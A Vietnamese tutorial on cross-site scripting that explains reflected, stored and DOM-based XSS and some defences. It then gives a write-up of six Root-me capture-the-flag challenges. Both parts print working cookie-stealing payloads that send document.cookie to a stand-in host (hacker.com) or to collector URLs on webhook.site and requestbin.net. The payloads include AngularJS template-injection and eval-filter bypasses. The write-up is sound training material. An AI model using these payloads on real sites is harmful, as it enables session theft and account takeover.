Tổng quan về lỗ hổng XSS - Thực hành với Root-me
I. Cross-site scripting (XSS) là gì?
- Cross-site scripting (XSS) là lỗ hổng bảo mật cho phép kẻ tấn công chèn một đoạn mã độc thông qua các script để thực thi chúng ở phía Client, chủ yếu các cuộc tấn công XSS để mạo danh người dùng hay để vượt qua xác thực.
- Thông thường hầu hết các cuộc tấn công XSS chủ yếu nhắm vào cookie, session token của người dùng nạn nhân, mục đích chính là để giả mạo người dùng vượt qua xác thực và nếu đó là người dùng quản trị thì hậu quả sẽ không lường trước được.
II. XSS hoạt động như thế nào?
- XSS là lỗ hổng phía client, vì thế nó có thể khai thác bằng các ngôn ngữ lập trình phía client khác nhau. Tuy nhiên, hầu hết các cuộc tấn công XSS đều được thực hiện bằng HTML và javascript.
- XSS xảy ra khi dữ liệu đầu vào của người dùng không được làm sạch đúng cách, chính vì vậy dữ liệu đầu ra có thể bị nhiễm độc do nhận vào dữ liệu độc hại do người dùng cung cấp. Nó dẫn đến mã nguồn của trang web bị chèn vào một đoạn mã script độc hại, chính vì trình duyệt chỉ có nhiệm vụ thực hiện mã nguồn nên nó vẫn sẽ thực thi ngay cả những đoạn mã độc hại đó đến cho những người dùng khác, và tất nhiên điều này đem lại rất nhiều mối nguy hiểm tiềm ẩn.
- Hầu hết các cuộc tấn công XSS sẽ có dạng như một đường link, một bức ảnh hay một form đăng nhập giả mạo dẫn đến trang web của kẻ tấn công, mà khi trình duyệt của nạn nhân thực thi nó thì thông tin về cookie, session token hay thậm chí cả password của họ sẽ được gửi đến trang web của kẻ tấn công, nhằm mục đích đánh cắp và sử dụng chúng như một công cụ để vượt qua xác thực.
- Ví dụ
III. Các loại tấn công XSS
- Có 3 loại tấn công phổ biến đó là:
- Reflected XSS
- Stored XSS
- DOM-based XSS
1. Reflected XSS
- Đây là loại tấn công ít nguy hiểm và đơn giản nhất trong 3 loại trên, cuộc tấn công này xảy ra khi trang web nhận dữ liệu không an toàn trong một phản hồi ngay lập tức mà không lưu trữ dữ liệu đầu vào.
- Ví dụ điển hình như trường search dữ liệu chẳng hạn, kẻ tấn công có thể nhập vào một đoạn mã script như sau:
<script>alert(1)</script>
- Nếu trang web hiển thị thông báo với giá trị một thì kẻ tấn công có thể lợi dụng nó để gửi đường link cho nạn nhân như:
http://alexshop.com/?search=<script>window.location("http://hacker.com?cookie="+document.cookie)</script>
- Khi người dùng nạn nhân bị lừa bấm vào link này thì hiển nhiên cookie của họ sẽ được gửi đến trang web của kẻ tấn công và bị đánh cắp.
- Kịch bản khai thác
2. Stored XSS
- Kỹ thuật tấn công này khác với Reflected XSS ở chỗ thay vì chỉ nhắm đến một số nạn nhân mà kẻ tấn công nhắm đến, thì Stored XSS hướng đến mọi đối tượng sử dụng trang web đó. Chỉ tính điểm này thôi đã cho thấy Stored XSS nguy hiểm hơn Reflected XSS rất nhiều rồi.
- Bởi vì Reflected XSS chỉ phản ảnh đoạn mã độc hại ngay tức thì, còn đối với Stored XSS cũng như tên gọi của nó, trang web sẽ lưu trữ đoạn mã độc hại vào cơ sở dữ liệu và hiển thị nó với mọi người dùng trên trang web.
- Ví dụ như một trang web có tính năng bình luận bài viết, tương tự kẻ tấn công sẽ tải một đoạn mã script độc hại vào kiểm tra xem trang web có kiểm tra kĩ dữ liệu đầu vào hay không, nếu trang web không đủ mạnh kẻ tấn công sẽ đăng tải một bình luận với nội dung:
<script>window.location("http://hacker.com?cookie="+document.cookie)</script>
- Và hiển nhiên nếu trình duyệt của nạn nhân thực thi đoạn mã này thì cookie của họ sẽ được gửi đến trang web của kẻ tấn công.
- Kịch bản khai thác
3. DOM-based XSS
- DOM-based XSS là kỹ thuật khai thác XSS dựa trên việc thay đổi cấu trúc DOM của tài liệu, cụ thể là HTML.
- Khi một số ứng dụng sử dụng đoạn mã Javascript xử lí dữ liệu đầu vào không an toàn, sau đó ghi dữ liệu trở lại DOM thì rất có thể sẽ dữ liệu độc hại là một đoạn mã khai thác của kẻ tấn công sẽ được ghi vào DOM
- Ví dụ một trang web đố vui trong chức năng nhập vào con số may mắn có đoạn script như sau:
var number = '$input';
- Khi đó kẻ tấn công có thể nhập vào trường results một đoạn script:
test'; alert(document.cookie);//
- Cũng giống như Reflected XSS thì kẻ tấn công phải gửi đến nạn nhân một đường link để lừa họ truy cập vào như sau:
http://alexshop.com/?number=test%27%3B+alert(document.cookie)%3B%2F%2F
- Khi đó bất kể người dùng nào bấm vào đường link mà kẻ tấn công đã gửi cho họ đều bị kẻ tấn công chiếm đoạt cookie và sử dụng chúng cho các mục đích xấu xa.
- Kịch bản khai thác
IV. Cách ngăn chặn
- Lọc đầu vào của người dùng. Chắc chắn cuộc tấn công chỉ xảy ra khi kẻ tấn công có thể gửi một đầu vào độc hại đến trang web, việc lọc sạch nó sẽ đảm bảo không có cuộc tấn công nào có thể xảy ra, các phương pháp phổ biến thường là:
- Data validation
- Filtering
- Escaping
- Mã hóa dữ liệu trả lại. Việc mã hóa dữ liệu này sẽ khiến cho một cuộc tấn công không thể thành công nếu như mà trang web không thực thi được những đoạn mã độc hại đó. Nhưng đôi lúc dữ liệu trả về không thể mã hóa là điều không tránh khỏi.
- Sử dụng tiêu đề phản hồi ngăn chặn XSS như Content-Type hay X-Content-Type-Options để đảm bảo trình duyệt diễn giải toàn bộ phản hồi theo dự định của nhà phát triển.
V. Root-me Challange
1. XSS – Reflected
- Chall này khá giống một cửa hàng, check từng mục thì thấy một danh sách các sản phẩm
- Có một điểm đáng chú ý là url của trang web
- Có một thuộc tính p được gắn giá trị prices và mình thử thay bằng một giá trị khác
- Có một tính năng rp cho admin và đó chắc hẳn là cách duy nhất để lấy flag, đầu tiên phải thử xem nó có bị XSS không, ban đầu mình thử:
<script>alert(1)</script>
- Mình thử mở source lên check thì thấy đầu vào được reflect trong thuộc tính href của thẻ
<a>
- Ý tưởng là mình sẽ truyền thêm một thuộc tính vào thẻ này và dẫn đến host của mình, ở đây mình dùng onmousemove khi trỏ chuột vào thì nó sẽ chạy đoạn js bên trong. Ban đầu mình thử:
test" onmousemove="alert(1)
- Có thể thấy nó vẫn chưa thoát được thuộc tính href nên mình thử lại bằng cách thay nháy kép thành nháy đơn như sau:
test' onmousemove='alert(1)
- Lần này thì đã có thể XSS thành công, sau đó mình thực hiện gửi cookie của admin vào host của mình bằng payload:
test' onmousemove='document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=".concat(document.cookie)
2. XSS – Stored 1
- Chall này có một tính năng gửi tin nhắn và lưu trữ lại sau đó admin sẽ đọc chúng, ban đầu mình thử kiểm tra XSS bằng cách nhập vào message
<script>alert(1)</script>
- Tương tự như chall trên mình sẽ tải một đoạn script dẫn đến host của mình kèm theo admin, ở đây mình sử dụng thẻ img với thuộc tính onerror, nếu đường link dẫn đến ảnh bị lỗi thì nó sẽ tự động thực thi đoạn script bên trong mà không cần thao tác của người dùng
- Payload:
<img src=1 onerror='document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd="+document.cookie'/>
3. XSS DOM Based – Introduction
- Chall này có một thanh input và nó như một trò chơi nho nhỏ đoán số được sinh ra ngẫu nhiên và ghi lại input vào đoạn mã script
- Mục đích của chall là lấy cookie admin nên không cần quan tâm quá nhiều vào trò chơi này. Vì nó có thêm 1 chức năng contact cho phép gửi đi một url đến admin đúng định dạng có sẵn
- Ý tưởng sẽ là chèn XSS ở trang main sau đó gửi đường link đó đến cho admin và đánh cắp cookie:
test'; alert(1);//
- Đoạn mã trên trình duyệt sẽ như thế này
- Sau đó thì sử dụng document.location để đánh cắp cookie của admin:
test'; document.location="https://webhook.site/65a8b027-b90a-4aab-9e17-1ef2a69d67a2?cmd=".concat(document.cookie);//
4. XSS DOM based-AngularJS
- Chall này có chức năng tạo pass theo username nhập vào, và username đầu vào cũng được ghi lại trong đoạn mã script
- Tương tự thì nó cũng có chức năng contact admin và cho phép gửi url theo đúng định dạng
- Cũng với ý tưởng như bài trên và mình thử lỗi XSS với chức năng ở Main bằng payload:
test'; alert(1);//
- Có vẻ như nháy đơn đã bị lọc bỏ, và còn một điều nữa đó chính là đầu vào được hiển thị trong Result for, và dựa trên tên chall này nên rất có thể đoạn code sẽ là Result for {{name}}, lúc này mình thử nhập vào payload:
{{constructor.constructor("alert(1)")()}}
(đoạn mã này sử dụng hàm khởi tạo trong angular để có thể thực thi đoạn mã javascript bên trong ngoặc tròn)
- Vậy là đã XSS được thành công, lúc này khúc mắc cuối cùng là việc bypass nháy đơn, thì mình có thử sử dụng HTML encode dấu nháy đơn, payload hoàn chỉnh:
{{constructor.constructor('document.location="http://requestbin.net/r/crkucapp?cmd=".concat(document.cookie)')()}}
5. XSS DOM Based – Eval
- Chall này với tính năng tính toán các phép tính thông qua hàm eval
- Sau đó mình thử với payload:
1+1); alert(1);//
- Kí tự ngoặc tròn đã bị filter để ngăn việc thoát khỏi hàm eval, đầu vào cũng chỉ nhận format nhất định được lọc bởi regex
- Ngồi thử một lúc thì mình nhận ra regex chỉ kiểm tra phần đầu của input
- Hàm eval có thể thực thi cả những đoạn mã js, vì không dùng được ngoặc tròn nên mình đã thử với document.location xem có hoạt động hay không:
1+1,document.location="http://requestbin.net/r/crkucapp"
- Nó đã hoạt động vì thế mình chỉ cần gửi rp đến admin là lấy được flag:
1+1,document.location="http://requestbin.net/r/crkucapp?cmd="+document.cookie
6. XSS – Stored 2
- Chức năng của trang web khá giống với chall Stored 1, cũng là gửi tin nhắn và lưu chúng lại chờ admin đọc, nhưng phần message và title đều đã được làm sạch và không thể XSS được
- Để ý thấy có một thứ mà Stored 1 không có đó là phần status được thêm vào khá đáng ngờ, sau khi kiểm tra source thì thấy nó được thêm vào trong 1 thẻ
i
- Mình liền thử dùng burp suite xem có thể thay đổi được status không thì thấy status được gửi qua phần cookie và có thể tùy ý thay đổi
- Sau đó mình liền test thử xem chỗ này có bị XSS không bằng cách thoát thẻ i ra và chèn đoạn mã script vào:
"><script>alert(1)</script><p class="
- Mọi thứ khá thuận lợi, đến đây mình tiếp tục sử dụng payload giống như ở chall Stored 1 để lấy cookie của admin:
"><img src=1 onerror='document.location="http://requestbin.net/r/crkucapp?cmd="+document.cookie'/><p class="
All rights reserved